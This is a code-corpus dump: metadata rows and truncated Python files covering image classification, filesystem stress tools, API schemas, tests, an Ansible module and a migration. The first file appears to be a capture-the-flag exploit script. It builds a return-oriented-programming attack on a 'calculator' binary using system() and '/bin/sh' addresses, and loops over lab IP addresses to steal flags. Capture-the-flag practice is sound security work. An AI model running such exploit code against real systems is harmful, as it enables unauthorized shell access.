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|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
1371183d26f36f81df8c25639f4523c744c2c32b | 1,682 | py | Python | pwn/writeup.py | GinkgoTeam/2019YJTZB | 7acb23f145ff70e09baade92e6b5a65856b36a1e | [
"MIT"
] | 41 | 2019-05-13T14:22:58.000Z | 2021-11-12T03:30:10.000Z | pwn/writeup.py | GinkgoTeam/2019YJTZB | 7acb23f145ff70e09baade92e6b5a65856b36a1e | [
"MIT"
] | null | null | null | pwn/writeup.py | GinkgoTeam/2019YJTZB | 7acb23f145ff70e09baade92e6b5a65856b36a1e | [
"MIT"
] | 10 | 2019-05-13T22:49:22.000Z | 2021-02-16T20:33:32.000Z | import requests
import time
import re
for i in range(101,125):
try:
ip='172.20.{}.101'.format(str(i))
flag=main(ip)
print ip,flag
time.sleep(11)
except:
print 'wrong' | 18.086022 | 41 | 0.631391 | from pwn import *
import requests
import time
import re
def main(ip):
p=remote(ip,10000)
elf=ELF('./calculator')
system_addr=elf.symbols['system']
binsh_addr=0x006020A0
poprdi=0x00400ec3
poprsi=0x400ec1
frmst_addr=0x400FD2
scanf_plt=elf.symbols['__isoc99_scanf']
#context.log_level='debu... | 0 | 0 | 0 | 0 | 0 | 1,443 | 0 | -4 | 48 |
9b6af6ffc3ebeeecd335510475daec57d7b18297 | 3,615 | py | Python | dogs-vs-cats-tf-cnn.py | sandeshrjain/DNN_helper | 1d03c794c1b54193f4a6fca177f34600c5a9c4e0 | [
"MIT"
] | null | null | null | dogs-vs-cats-tf-cnn.py | sandeshrjain/DNN_helper | 1d03c794c1b54193f4a6fca177f34600c5a9c4e0 | [
"MIT"
] | null | null | null | dogs-vs-cats-tf-cnn.py | sandeshrjain/DNN_helper | 1d03c794c1b54193f4a6fca177f34600c5a9c4e0 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
"""
Created on Mon Mar 7 15:08:04 2022
@author: Sandesh Jain
"""
from tensorflow.keras.preprocessing.image import ImageDataGenerator
train_gen = ImageDataGenerator(rescale =1./255,
shear_range =0.2,
zoom_range... | 30.378151 | 133 | 0.526141 | # -*- coding: utf-8 -*-
"""
Created on Mon Mar 7 15:08:04 2022
@author: Sandesh Jain
"""
import tensorflow as tf
import numpy as np
import os
from tensorflow.keras.models import Model
from tensorflow.keras.preprocessing.image import ImageDataGenerator
from tensorflow.keras.layers import (Conv2D, Dense, F... | 0 | 0 | 0 | 0 | 0 | 1,888 | 0 | 122 | 168 |
836d5f3396fbb107c7f1329399d9eb4e57f2fdd0 | 5,575 | py | Python | io_tools/msrsync_sim.py | samuelsh/MultiFileOps | bc998fee6b02120a7783527767c93d5bf2ebfacd | [
"MIT"
] | 5 | 2019-06-05T11:22:25.000Z | 2020-07-13T10:37:01.000Z | io_tools/msrsync_sim.py | samuelsh/MultiFileOps | bc998fee6b02120a7783527767c93d5bf2ebfacd | [
"MIT"
] | 1 | 2021-01-05T11:18:27.000Z | 2021-01-05T11:18:27.000Z | io_tools/msrsync_sim.py | samuelsh/pyfs_stress | bc998fee6b02120a7783527767c93d5bf2ebfacd | [
"MIT"
] | null | null | null | #!/usr/bin/env python3.6
"""
author: samuels
"""
import os
import sys
sys.path.append(os.path.join(os.path.join('../')))
logger = None
stop_event = None
files_counter = 0
dir_counter = 0
KB1 = 1024
MB1 = KB1 * 1024
DATA_BUF = os.urandom(KB1 * 8)
data_array = []
if __name__ == '__main__':
try:
... | 33.787879 | 120 | 0.650583 | #!/usr/bin/env python3.6
"""
author: samuels
"""
import argparse
import hashlib
import os
import queue
import sys
import random
import threading
sys.path.append(os.path.join(os.path.join('../')))
from concurrent.futures import ThreadPoolExecutor
from threading import Event
from client.generic_mounter import Mounter
... | 0 | 0 | 0 | 262 | 0 | 4,331 | 0 | 65 | 383 |
61a8114a54c19e8c1a637205d2457235593b05db | 916 | py | Python | test/python_comparison.py | fmaguire/metagenome_simulator | 79fc18ab21a897d2d16cca45e40e934acbf315d6 | [
"MIT"
] | null | null | null | test/python_comparison.py | fmaguire/metagenome_simulator | 79fc18ab21a897d2d16cca45e40e934acbf315d6 | [
"MIT"
] | null | null | null | test/python_comparison.py | fmaguire/metagenome_simulator | 79fc18ab21a897d2d16cca45e40e934acbf315d6 | [
"MIT"
] | null | null | null |
if __name__=="__main__":
name_to_aro = {'mel': "3000616", 'pmrA':"3000822" , 'patB': "3000025"}
strict_perfect = {'500': "strict", '1000': "perfect"}
expected_bedtool_labels = open('bedtools_labels.tsv', 'w')
labels = {}
with open('intersection.tsv') as fh:
for line in fh:
li... | 31.586207 | 79 | 0.505459 |
if __name__=="__main__":
name_to_aro = {'mel': "3000616", 'pmrA':"3000822" , 'patB': "3000025"}
strict_perfect = {'500': "strict", '1000': "perfect"}
expected_bedtool_labels = open('bedtools_labels.tsv', 'w')
labels = {}
with open('intersection.tsv') as fh:
for line in fh:
li... | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
a6cea3059e191fe8d12739e5c5b75a0fafb9d802 | 1,822 | py | Python | src/commercetools/importapi/models/_schemas/inventories.py | labd/commercetools-python-sdk | d8ec285f08d56ede2e4cad45c74833f5b609ab5c | [
"MIT"
] | 15 | 2018-11-02T14:35:52.000Z | 2022-03-16T07:51:44.000Z | src/commercetools/importapi/models/_schemas/inventories.py | labd/commercetools-python-sdk | d8ec285f08d56ede2e4cad45c74833f5b609ab5c | [
"MIT"
] | 84 | 2018-11-02T12:50:32.000Z | 2022-03-22T01:25:54.000Z | src/commercetools/importapi/models/_schemas/inventories.py | labd/commercetools-python-sdk | d8ec285f08d56ede2e4cad45c74833f5b609ab5c | [
"MIT"
] | 13 | 2019-01-03T09:16:50.000Z | 2022-02-15T18:37:19.000Z | # This file is automatically generated by the rmf-codegen project.
#
# The Python code generator is maintained by Lab Digital. If you want to
# contribute to this project then please do not edit this file directly
# but send a pull request to the Lab Digital fork of rmf-codegen at
# https://github.com/labd/rmf-codegen
... | 29.387097 | 77 | 0.698683 | # This file is automatically generated by the rmf-codegen project.
#
# The Python code generator is maintained by Lab Digital. If you want to
# contribute to this project then please do not edit this file directly
# but send a pull request to the Lab Digital fork of rmf-codegen at
# https://github.com/labd/rmf-codegen
... | 0 | 89 | 0 | 1,189 | 0 | 0 | 0 | 10 | 156 |
a14f792aeed702ea0d392d0cee6f0f3d00bd091c | 1,909 | py | Python | unimodal/vision/dataset.py | shubham-gupta-iitr/mmmlX | 3485e6191e0e45bf1c8168e4e928a36ab9264d22 | [
"Apache-2.0"
] | null | null | null | unimodal/vision/dataset.py | shubham-gupta-iitr/mmmlX | 3485e6191e0e45bf1c8168e4e928a36ab9264d22 | [
"Apache-2.0"
] | null | null | null | unimodal/vision/dataset.py | shubham-gupta-iitr/mmmlX | 3485e6191e0e45bf1c8168e4e928a36ab9264d22 | [
"Apache-2.0"
] | 1 | 2022-02-12T23:38:10.000Z | 2022-02-12T23:38:10.000Z | import numpy as np
np.random.seed(0)
| 34.709091 | 107 | 0.590885 | import numpy as np
from torch.utils.data import Dataset
import cv2
from torchvision import transforms
import base64
from PIL import Image
np.random.seed(0)
class ImageDataset(Dataset):
def __init__(self, cfg, ids, dataset):
self.cfg = cfg
self._ids = ids
self._num_ids = len(ids)
sel... | 0 | 0 | 0 | 1,721 | 0 | 0 | 0 | 9 | 133 |
cea112fa5664fda55582fe64fab2a7e867c249ca | 1,144 | py | Python | Lib/test/test_exceptions_jy.py | clach04/bb_import_jython | 4529a0f578186a1c33c476300294ab42658eaf7c | [
"CNRI-Jython"
] | 49 | 2015-03-10T17:34:19.000Z | 2021-11-10T22:23:18.000Z | Lib/test/test_exceptions_jy.py | clach04/bb_import_jython | 4529a0f578186a1c33c476300294ab42658eaf7c | [
"CNRI-Jython"
] | 1 | 2021-04-11T15:01:12.000Z | 2021-04-11T15:01:12.000Z | Lib/test/test_exceptions_jy.py | clach04/bb_import_jython | 4529a0f578186a1c33c476300294ab42658eaf7c | [
"CNRI-Jython"
] | 32 | 2015-02-06T12:10:32.000Z | 2019-06-18T03:21:36.000Z | """Misc. exception related tests
Made for Jython.
"""
if __name__ == '__main__':
test_main()
| 22.88 | 65 | 0.565559 | """Misc. exception related tests
Made for Jython.
"""
from test import test_support
import unittest
class C:
def __str__(self):
raise Exception("E")
def __repr__(self):
raise Exception("S")
class ExceptionsTestCase(unittest.TestCase):
def test_keyerror_str(self):
self.assertEqual... | 0 | 0 | 0 | 884 | 0 | 45 | 0 | 2 | 113 |
c17d297d3e3b1768409a383f1791dd0e2160d9ed | 97 | py | Python | pythonProject/MUNDO 3/Relembrando listas 2.py | lucasjlgc/Aulas-de-Python- | 6aaed1c660487a680e9c449210600ccdfa326612 | [
"MIT"
] | null | null | null | pythonProject/MUNDO 3/Relembrando listas 2.py | lucasjlgc/Aulas-de-Python- | 6aaed1c660487a680e9c449210600ccdfa326612 | [
"MIT"
] | 1 | 2021-06-25T15:29:11.000Z | 2021-06-25T15:29:11.000Z | pythonProject/MUNDO 3/Relembrando listas 2.py | lucasjlgc/Aulas-de-Python- | 6aaed1c660487a680e9c449210600ccdfa326612 | [
"MIT"
] | null | null | null | import pandas as pd
df = pd.read_excel("Mdia teste.xlsx", sheet_name= "Mdia")
print(df.head()) | 24.25 | 59 | 0.721649 | import pandas as pd
df = pd.read_excel("Média teste.xlsx", sheet_name= "Média")
print(df.head()) | 4 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
e71d446c2173eb797a2b7e29df4a14d48d6548ac | 7,353 | py | Python | library/mapr_entity.py | jaideepjoshi/ezmeral-orock-ansible | 6debe998cfd613ecf8a91d242e298b5b6822d936 | [
"Apache-2.0"
] | 35 | 2017-12-10T22:03:48.000Z | 2020-09-15T12:05:24.000Z | library/mapr_entity.py | jaideepjoshi/ezmeral-orock-ansible | 6debe998cfd613ecf8a91d242e298b5b6822d936 | [
"Apache-2.0"
] | 105 | 2017-11-28T10:13:23.000Z | 2022-01-07T00:33:21.000Z | library/mapr_entity.py | jaideepjoshi/ezmeral-orock-ansible | 6debe998cfd613ecf8a91d242e298b5b6822d936 | [
"Apache-2.0"
] | 53 | 2017-02-02T13:18:33.000Z | 2022-03-22T20:25:24.000Z | #!/usr/bin/python
ANSIBLE_METADATA = {
'metadata_version': '1.0',
'status': ['preview'],
'supported_by': 'community'
}
DOCUMENTATION = '''
---
module: mapr_entity
short_description: This module manages MapR accountable entities
version_added: "2.4"
description:
- "This module manages MapR accountab... | 31.55794 | 143 | 0.636339 | #!/usr/bin/python
ANSIBLE_METADATA = {
'metadata_version': '1.0',
'status': ['preview'],
'supported_by': 'community'
}
DOCUMENTATION = '''
---
module: mapr_entity
short_description: This module manages MapR accountable entities
version_added: "2.4"
description:
- "This module manages MapR accountab... | 0 | 0 | 0 | 0 | 0 | 5,414 | 0 | 4 | 318 |
8c945debc7403eef7d5bb53554f95856e8985e78 | 79 | py | Python | abc240/b/test.py | seigot/atcoder | 6c2da684c75b7c5de162de3713a13507aeecce1d | [
"MIT"
] | 2 | 2021-12-28T11:43:47.000Z | 2022-02-20T14:41:27.000Z | abc240/b/test.py | seigot/atcoder | 6c2da684c75b7c5de162de3713a13507aeecce1d | [
"MIT"
] | null | null | null | abc240/b/test.py | seigot/atcoder | 6c2da684c75b7c5de162de3713a13507aeecce1d | [
"MIT"
] | null | null | null | n = input()
arr = list(map(int, input().split()))
s = set(arr)
print(len(s))
| 13.166667 | 37 | 0.56962 | n = input()
arr = list(map(int, input().split()))
s = set(arr)
print(len(s))
| 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
c6b099c2eeccca6fd594c51318bc6cd9faebc7ab | 41 | py | Python | src/pruebas.py | edoomm/compiladores | f8badd2f44e4e0273161266f739aab7c1ca5dfb2 | [
"MIT"
] | 1 | 2021-03-23T14:22:26.000Z | 2021-03-23T14:22:26.000Z | src/pruebas.py | edoomm/compiladores | f8badd2f44e4e0273161266f739aab7c1ca5dfb2 | [
"MIT"
] | null | null | null | src/pruebas.py | edoomm/compiladores | f8badd2f44e4e0273161266f739aab7c1ca5dfb2 | [
"MIT"
] | null | null | null |
for i in range(255):
print(chr(i))
| 8.2 | 20 | 0.560976 |
for i in range(255):
print(chr(i))
| 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
5b15f03a9e21ad9e630b8c38b2ac80ff1cf06549 | 4,625 | py | Python | lib/session.py | Hiteshsuhas/err-stackstorm | 7579350ac50d9324b64a73b86d57e094270cb275 | [
"Apache-2.0"
] | 15 | 2016-09-19T12:06:12.000Z | 2021-11-30T12:04:44.000Z | lib/session.py | Hiteshsuhas/err-stackstorm | 7579350ac50d9324b64a73b86d57e094270cb275 | [
"Apache-2.0"
] | 22 | 2017-06-19T18:13:54.000Z | 2021-05-28T09:25:01.000Z | lib/session.py | Hiteshsuhas/err-stackstorm | 7579350ac50d9324b64a73b86d57e094270cb275 | [
"Apache-2.0"
] | 7 | 2017-06-19T17:03:59.000Z | 2021-09-27T11:06:31.000Z | # coding:utf-8
import logging
LOG = logging.getLogger("errbot.plugin.st2.session")
| 34.774436 | 99 | 0.611676 | # coding:utf-8
import uuid
import string
import hashlib
import logging
from lib.errors import SessionExpiredError, SessionConsumedError
from datetime import datetime as dt
from random import SystemRandom
LOG = logging.getLogger("errbot.plugin.st2.session")
def generate_password(length=8):
rnd = SystemRandom()
... | 0 | 0 | 0 | 4,167 | 0 | 152 | 0 | 42 | 178 |
66388d70125d6d722d8baaab807b4f12201dcdd0 | 7,710 | py | Python | mwtab/fileio.py | MoseleyBioinformaticsLab/mwtab | 1bc1e3715538348b29a5760a9c3184fe04f568a6 | [
"BSD-3-Clause-Clear"
] | 7 | 2018-02-02T07:50:20.000Z | 2021-03-14T22:46:58.000Z | mwtab/fileio.py | MoseleyBioinformaticsLab/mwtab | 1bc1e3715538348b29a5760a9c3184fe04f568a6 | [
"BSD-3-Clause-Clear"
] | 2 | 2019-02-14T08:38:54.000Z | 2020-02-19T08:08:02.000Z | mwtab/fileio.py | MoseleyBioinformaticsLab/mwtab | 1bc1e3715538348b29a5760a9c3184fe04f568a6 | [
"BSD-3-Clause-Clear"
] | 1 | 2019-10-12T23:38:44.000Z | 2019-10-12T23:38:44.000Z | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
mwtab.fileio
~~~~~~~~~~~~
This module provides routines for reading ``mwTab`` formatted files
from difference kinds of sources:
* Single ``mwTab`` formatted file on a local machine.
* Directory containing multiple ``mwTab`` formatted files.
* Compressed zip... | 32.125 | 104 | 0.568742 | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
mwtab.fileio
~~~~~~~~~~~~
This module provides routines for reading ``mwTab`` formatted files
from difference kinds of sources:
* Single ``mwTab`` formatted file on a local machine.
* Directory containing multiple ``mwTab`` formatted files.
* Compressed zip... | 0 | 1,063 | 0 | 2,667 | 3,124 | 0 | 0 | -35 | 404 |
aa69cf9bb36a467022c07fe2ac1ca628a579afb9 | 1,897 | py | Python | 7-Color Detecting.py | macerman/Open-CV | 8a2bc35ba2610186fe2a38006b2ebbb3efbce31e | [
"MIT"
] | 1 | 2021-10-03T15:39:12.000Z | 2021-10-03T15:39:12.000Z | 7-Color Detecting.py | macerman/Open-CV | 8a2bc35ba2610186fe2a38006b2ebbb3efbce31e | [
"MIT"
] | null | null | null | 7-Color Detecting.py | macerman/Open-CV | 8a2bc35ba2610186fe2a38006b2ebbb3efbce31e | [
"MIT"
] | null | null | null | #--COLOR DETECTION--#
import cv2
import numpy as np
#our function for trackbars
path = "sources/lambo2.png"
#Burada renklerimizi ayarlayabilmek iin bir trackbar hazrlayacaz
cv2.namedWindow("Trackbars") #making our window that our trackbars gon' be in
cv2.resizeWindow("Trackbars",640,240) #resizing our tr... | 41.23913 | 108 | 0.714286 | #--COLOR DETECTION--#
import cv2
import numpy as np
#our function for trackbars
def empty(x):
pass
path = "sources/lambo2.png"
#Burada renklerimizi ayarlayabilmek için bir trackbar hazırlayacağız
cv2.namedWindow("Trackbars") #making our window that our trackbars gon' be in
cv2.resizeWindow("Trackba... | 18 | 0 | 0 | 0 | 0 | 2 | 0 | 0 | 23 |
8bf92f9554a026c81421946868bc7e095ee1d032 | 31,097 | py | Python | Embedd_Network_model.py | AutumnCrocus/shadow_sim | 79ad13ff9bd7131c82f269af32a3970f3e4bf2ca | [
"MIT"
] | 6 | 2020-11-08T18:41:23.000Z | 2022-03-29T07:11:37.000Z | Embedd_Network_model.py | AutumnCrocus/shadow_sim | 79ad13ff9bd7131c82f269af32a3970f3e4bf2ca | [
"MIT"
] | 5 | 2020-08-09T11:32:59.000Z | 2022-03-12T00:21:44.000Z | Embedd_Network_model.py | AutumnCrocus/shadow_sim | 79ad13ff9bd7131c82f269af32a3970f3e4bf2ca | [
"MIT"
] | 1 | 2021-01-31T05:57:10.000Z | 2021-01-31T05:57:10.000Z | # -*- coding: utf-8 -*-
import torch
import os
#os.environ["OMP_NUM_THREADS"] = "4" if torch.cuda.is_available() else "6"
os.environ["PYTHONWARNINGS"] = 'ignore:semaphore_tracker:UserWarning'
from tqdm import tqdm
import torch.nn as nn
# from preprocess import *
from collections import namedtuple
import copy
import r... | 47.045386 | 149 | 0.610123 | # -*- coding: utf-8 -*-
import torch
import os
from torch.multiprocessing import Pool, Process, set_start_method,cpu_count, RLock,freeze_support, Value, Array, Manager,cpu_count
#os.environ["OMP_NUM_THREADS"] = "4" if torch.cuda.is_available() else "6"
os.environ["PYTHONWARNINGS"] = 'ignore:semaphore_tracker:UserWarni... | 525 | 0 | 0 | 15,066 | 0 | 5,612 | 0 | 180 | 411 |
7cfa0517f6f611e9e8a1d7cb043611f70bfb1a0f | 2,196 | py | Python | app/recipe/tests/test_tag_api.py | Ivanrputra/recipe-app-api | e70548a4f7f8756f8f4224dcf39b809a8b546da1 | [
"MIT"
] | null | null | null | app/recipe/tests/test_tag_api.py | Ivanrputra/recipe-app-api | e70548a4f7f8756f8f4224dcf39b809a8b546da1 | [
"MIT"
] | null | null | null | app/recipe/tests/test_tag_api.py | Ivanrputra/recipe-app-api | e70548a4f7f8756f8f4224dcf39b809a8b546da1 | [
"MIT"
] | null | null | null | from django.urls import reverse
TAGS_URL = reverse('recipe:tag-list') | 28.894737 | 64 | 0.754554 | from django.contrib.auth import get_user_model
from django.urls import reverse
from django.test import TestCase
from rest_framework import status
from rest_framework.test import APIClient
from core.models import Tag
from recipe.serializers import TagSerializer
TAGS_URL = reverse('recipe:tag-list')
class PublicTags... | 0 | 0 | 0 | 1,848 | 0 | 0 | 0 | 97 | 181 |
470a6e476d032e3bf06631db5a62d5885240fdf0 | 1,184 | py | Python | app/handler.py | KiraLT/certbot-lambda | 3bec9e3575a67345849778f55227836591c5eee7 | [
"MIT"
] | 2 | 2022-01-19T07:27:30.000Z | 2022-02-08T17:25:23.000Z | app/handler.py | KiraLT/certbot-lambda | 3bec9e3575a67345849778f55227836591c5eee7 | [
"MIT"
] | null | null | null | app/handler.py | KiraLT/certbot-lambda | 3bec9e3575a67345849778f55227836591c5eee7 | [
"MIT"
] | 1 | 2022-02-16T14:38:36.000Z | 2022-02-16T14:38:36.000Z | #!/usr/bin/env python3
if __name__ == "__main__":
handler(None, None)
| 29.6 | 80 | 0.697635 | #!/usr/bin/env python3
import shutil
from app.settings import settings
from app.services.certbot import obtain_certbot_certs
from app.services.aws import list_secret_names, upload_certs_as_secrets
def handler(_event, _context):
try:
shutil.rmtree(str(settings.CERTBOT_DIR), ignore_errors=True)
#... | 0 | 0 | 0 | 0 | 0 | 908 | 0 | 86 | 113 |
5a2b9719bea651a230205b8011c0b27198c10cbf | 23 | py | Python | something-learned/Algorithms and Data-Structures/Competitive-programming-library/CP/codeforces/656A-Da_Vinci_Powers.py | gopala-kr/CR-101 | dd27b767cdc0c667655ab8e32e020ed4248bd112 | [
"MIT"
] | 5 | 2018-05-09T04:02:04.000Z | 2021-02-21T19:27:56.000Z | something-learned/Algorithms and Data-Structures/Competitive-programming-library/CP/codeforces/656A-Da_Vinci_Powers.py | gopala-kr/CR-101 | dd27b767cdc0c667655ab8e32e020ed4248bd112 | [
"MIT"
] | null | null | null | something-learned/Algorithms and Data-Structures/Competitive-programming-library/CP/codeforces/656A-Da_Vinci_Powers.py | gopala-kr/CR-101 | dd27b767cdc0c667655ab8e32e020ed4248bd112 | [
"MIT"
] | 5 | 2018-02-23T22:08:28.000Z | 2020-08-19T08:31:47.000Z | x = input()
print 2**x
| 7.666667 | 11 | 0.565217 | x = input()
print 2**x
| 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
75ac623f7b66719ba7e41213f1ae301dee5d15a5 | 89 | py | Python | enthought/mayavi/tools/modules.py | enthought/etsproxy | 4aafd628611ebf7fe8311c9d1a0abcf7f7bb5347 | [
"BSD-3-Clause"
] | 3 | 2016-12-09T06:05:18.000Z | 2018-03-01T13:00:29.000Z | enthought/mayavi/tools/modules.py | enthought/etsproxy | 4aafd628611ebf7fe8311c9d1a0abcf7f7bb5347 | [
"BSD-3-Clause"
] | 1 | 2020-12-02T00:51:32.000Z | 2020-12-02T08:48:55.000Z | enthought/mayavi/tools/modules.py | enthought/etsproxy | 4aafd628611ebf7fe8311c9d1a0abcf7f7bb5347 | [
"BSD-3-Clause"
] | null | null | null | # proxy module
from __future__ import absolute_import
| 22.25 | 38 | 0.831461 | # proxy module
from __future__ import absolute_import
from mayavi.tools.modules import *
| 0 | 0 | 0 | 0 | 0 | 0 | 0 | 13 | 22 |
b20f312d2d730133f52e15d77c7b0a9506e0f4bd | 454 | py | Python | backend/urls.py | Rayman/fusic-django | a3bc19cb5d0a013df649e5f59941c98c7ffec159 | [
"MIT"
] | null | null | null | backend/urls.py | Rayman/fusic-django | a3bc19cb5d0a013df649e5f59941c98c7ffec159 | [
"MIT"
] | 14 | 2020-02-11T21:32:22.000Z | 2022-02-26T02:10:23.000Z | backend/urls.py | Rayman/fusic-django | a3bc19cb5d0a013df649e5f59941c98c7ffec159 | [
"MIT"
] | 1 | 2019-03-07T04:04:02.000Z | 2019-03-07T04:04:02.000Z | from django.conf.urls import url
from django.urls import include
from rest_framework.routers import DefaultRouter
from . import views
router = DefaultRouter()
router.register(r"users", views.UserViewSet)
router.register(r"playlists", views.PlaylistViewSet)
router.register(r"radios", views.RadioViewSet)
router.registe... | 25.222222 | 55 | 0.779736 | from django.conf.urls import url
from django.urls import include
from rest_framework.routers import DefaultRouter
from . import views
router = DefaultRouter()
router.register(r"users", views.UserViewSet)
router.register(r"playlists", views.PlaylistViewSet)
router.register(r"radios", views.RadioViewSet)
router.registe... | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
a1c9431bd64c2749eaeedd18e74822b26b4497e1 | 2,007 | py | Python | minotaur/scripts/jsonl.py | csmith49/minotaur | 982e128b440e2c8fe96c450505dfdac9a37f9551 | [
"MIT"
] | null | null | null | minotaur/scripts/jsonl.py | csmith49/minotaur | 982e128b440e2c8fe96c450505dfdac9a37f9551 | [
"MIT"
] | null | null | null | minotaur/scripts/jsonl.py | csmith49/minotaur | 982e128b440e2c8fe96c450505dfdac9a37f9551 | [
"MIT"
] | null | null | null |
from ..maze import Maze
from json import dumps
from typing import Iterable, Callable, Tuple, TypeVar
from itertools import filterfalse, tee
T = TypeVar("T")
def partition(iterable : Iterable[T], predicate : Callable[[T], bool]) -> Tuple[Iterable[T], Iterable[T]]:
"""Partition an iterable by a predicate."""
... | 30.876923 | 106 | 0.63727 | import click
from .cli import cli
from ..maze import Maze
from ..interface import load, is_context, is_value
from json import dumps
from sys import stdout
from typing import Iterable, Callable, Tuple, TypeVar
from itertools import chain, filterfalse, tee
T = TypeVar("T")
def partition(iterable : Iterable[T], predic... | 0 | 428 | 0 | 0 | 837 | 0 | 0 | 27 | 134 |
5b71d011d822f95ce25f55c2574551dc96b232fe | 1,860 | py | Python | examples/guidage.py | MaxLgy/Autoland | ca94eef0d2f3dafa56cc271751d72db91d704098 | [
"MIT"
] | null | null | null | examples/guidage.py | MaxLgy/Autoland | ca94eef0d2f3dafa56cc271751d72db91d704098 | [
"MIT"
] | null | null | null | examples/guidage.py | MaxLgy/Autoland | ca94eef0d2f3dafa56cc271751d72db91d704098 | [
"MIT"
] | 1 | 2021-05-16T15:20:19.000Z | 2021-05-16T15:20:19.000Z | from numpy import cross, array, vdot
from numpy.linalg import norm
def vct_nrm(a,b,c):
"""Soit a,b,c trois coin de la plateforme suposse carre, n est un vecteur normal de cette platforme"""
V1 = a-b
V2 = a-c
n = cross(V1,V2).T
return n/norm(n)
def champ(p,n,phat,v_d):
"""p position du drone, n vecteur normal la... | 26.956522 | 127 | 0.604301 | from numpy import cross, array , vdot
from numpy.linalg import norm
import matplotlib.pyplot as plt
from roblib import *
def vct_nrm(a,b,c):
"""Soit a,b,c trois coin de la plateforme supossée carrée, n est un vecteur normal de cette platforme"""
V1 = a-b
V2 = a-c
n = cross(V1,V2).T
return n/norm(n)
def champ(p,n,... | 14 | 0 | 0 | 0 | 0 | 174 | 0 | 10 | 67 |
cd321a02147ac54d46cd08610302a2d2864aa096 | 493 | py | Python | GammaTorrent/main.py | Devam911/Gamma-Torrent | 42079c497f8ebdc7aa1a442f3e34770747217e5c | [
"MIT"
] | 1 | 2020-12-06T10:38:32.000Z | 2020-12-06T10:38:32.000Z | GammaTorrent/main.py | Devam911/Gamma-Torrent | 42079c497f8ebdc7aa1a442f3e34770747217e5c | [
"MIT"
] | null | null | null | GammaTorrent/main.py | Devam911/Gamma-Torrent | 42079c497f8ebdc7aa1a442f3e34770747217e5c | [
"MIT"
] | 2 | 2020-12-06T10:55:48.000Z | 2020-12-15T14:28:00.000Z | __author__ = ["Manav Vagrecha", "Shreyansh Shah", "Devam Shah"]
__email__ = ["manavkumar.v@ahduni.edu.in", "shreyansh.s1@ahduni.edu.in", "devam.s1@ahduni.edu.in"]
import logging
import sys
import main_manager
if __name__ == '__main__':
# configuring the log outputs to the debug level
logging.basicConfig(level... | 30.8125 | 98 | 0.726166 | __author__ = ["Manav Vagrecha", "Shreyansh Shah", "Devam Shah"]
__email__ = ["manavkumar.v@ahduni.edu.in", "shreyansh.s1@ahduni.edu.in", "devam.s1@ahduni.edu.in"]
import logging
import sys
import main_manager
if __name__ == '__main__':
# configuring the log outputs to the debug level
logging.basicConfig(level... | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
c6734bf49760adf1241cdaa9c9fafc9ab5fe77b0 | 2,700 | py | Python | azrt2021/data_from_csv.py | vkola-lab/azrt2021 | a75c1302434c4578daf4cde119cfa50f552a9a43 | [
"MIT"
] | 2 | 2021-02-17T15:51:00.000Z | 2022-01-05T06:07:07.000Z | azrt2021/data_from_csv.py | vkola-lab/azrt2021 | a75c1302434c4578daf4cde119cfa50f552a9a43 | [
"MIT"
] | 1 | 2022-03-12T01:06:03.000Z | 2022-03-12T01:06:03.000Z | azrt2021/data_from_csv.py | vkola-lab/azrt2021 | a75c1302434c4578daf4cde119cfa50f552a9a43 | [
"MIT"
] | 1 | 2021-11-09T00:43:18.000Z | 2021-11-09T00:43:18.000Z | """
data_from_csv.py
audio dataset reading from CSV output file;
"""
import numpy as np
def segment_collate_fn(batch):
"""
collect audio path, label, patient ID, start, end
"""
aud = [itm[0] for itm in batch]
lbl = np.stack([itm[1] for itm in batch])
pid = np.stack([itm[2] for itm in batch])
... | 29.347826 | 97 | 0.564815 | """
data_from_csv.py
audio dataset reading from CSV output file;
"""
from torch.utils.data import Dataset
import numpy as np
import pandas as pd
class AudioDatasetFromCsv(Dataset):
"""dVoice dataset."""
def __init__(self, csv_in, **kwargs):
"""
init
"""
self.csv_in = csv_in
... | 0 | 560 | 0 | 1,613 | 0 | 0 | 0 | 13 | 67 |
4106d9cfc8b30f0a8cc972336e9629c09863a3a7 | 1,826 | py | Python | rflow/common.py | otaviog/rflow | 8594b9c3e9e1da61382f80b66e749cf7b8a33676 | [
"MIT"
] | 6 | 2019-08-26T11:36:58.000Z | 2020-12-15T21:01:24.000Z | rflow/common.py | otaviog/rflow | 8594b9c3e9e1da61382f80b66e749cf7b8a33676 | [
"MIT"
] | null | null | null | rflow/common.py | otaviog/rflow | 8594b9c3e9e1da61382f80b66e749cf7b8a33676 | [
"MIT"
] | 1 | 2020-04-13T08:05:27.000Z | 2020-04-13T08:05:27.000Z | """
Common definitions of the workflow module.
"""
WORKFLOW_DEFAULT_FILENAME = 'workflow.py'
DOT_DATABASE_FILENAME = '.workflow.lmdb'
| 23.714286 | 96 | 0.615005 | """
Common definitions of the workflow module.
"""
WORKFLOW_DEFAULT_FILENAME = 'workflow.py'
DOT_DATABASE_FILENAME = '.workflow.lmdb'
class Uninit(object):
"""Sentinel for unitialized values on the framework context. Python's
`None` can't be used, because `None` can be a valid for the user.
"""
pas... | 0 | 0 | 0 | 1,619 | 0 | 0 | 0 | 0 | 69 |
fc8c4080b50b28b1fb6ddd4a6aa9afb8009d26ed | 518 | py | Python | feedback_survey/migrations/0014_auto_20170510_1717.py | mushahid54/feedback_survey | a568008f0717b52649010286e55e242f083734be | [
"MIT"
] | null | null | null | feedback_survey/migrations/0014_auto_20170510_1717.py | mushahid54/feedback_survey | a568008f0717b52649010286e55e242f083734be | [
"MIT"
] | null | null | null | feedback_survey/migrations/0014_auto_20170510_1717.py | mushahid54/feedback_survey | a568008f0717b52649010286e55e242f083734be | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
# Generated by Django 1.10.6 on 2017-05-10 17:17
from __future__ import unicode_literals
| 24.666667 | 112 | 0.61583 | # -*- coding: utf-8 -*-
# Generated by Django 1.10.6 on 2017-05-10 17:17
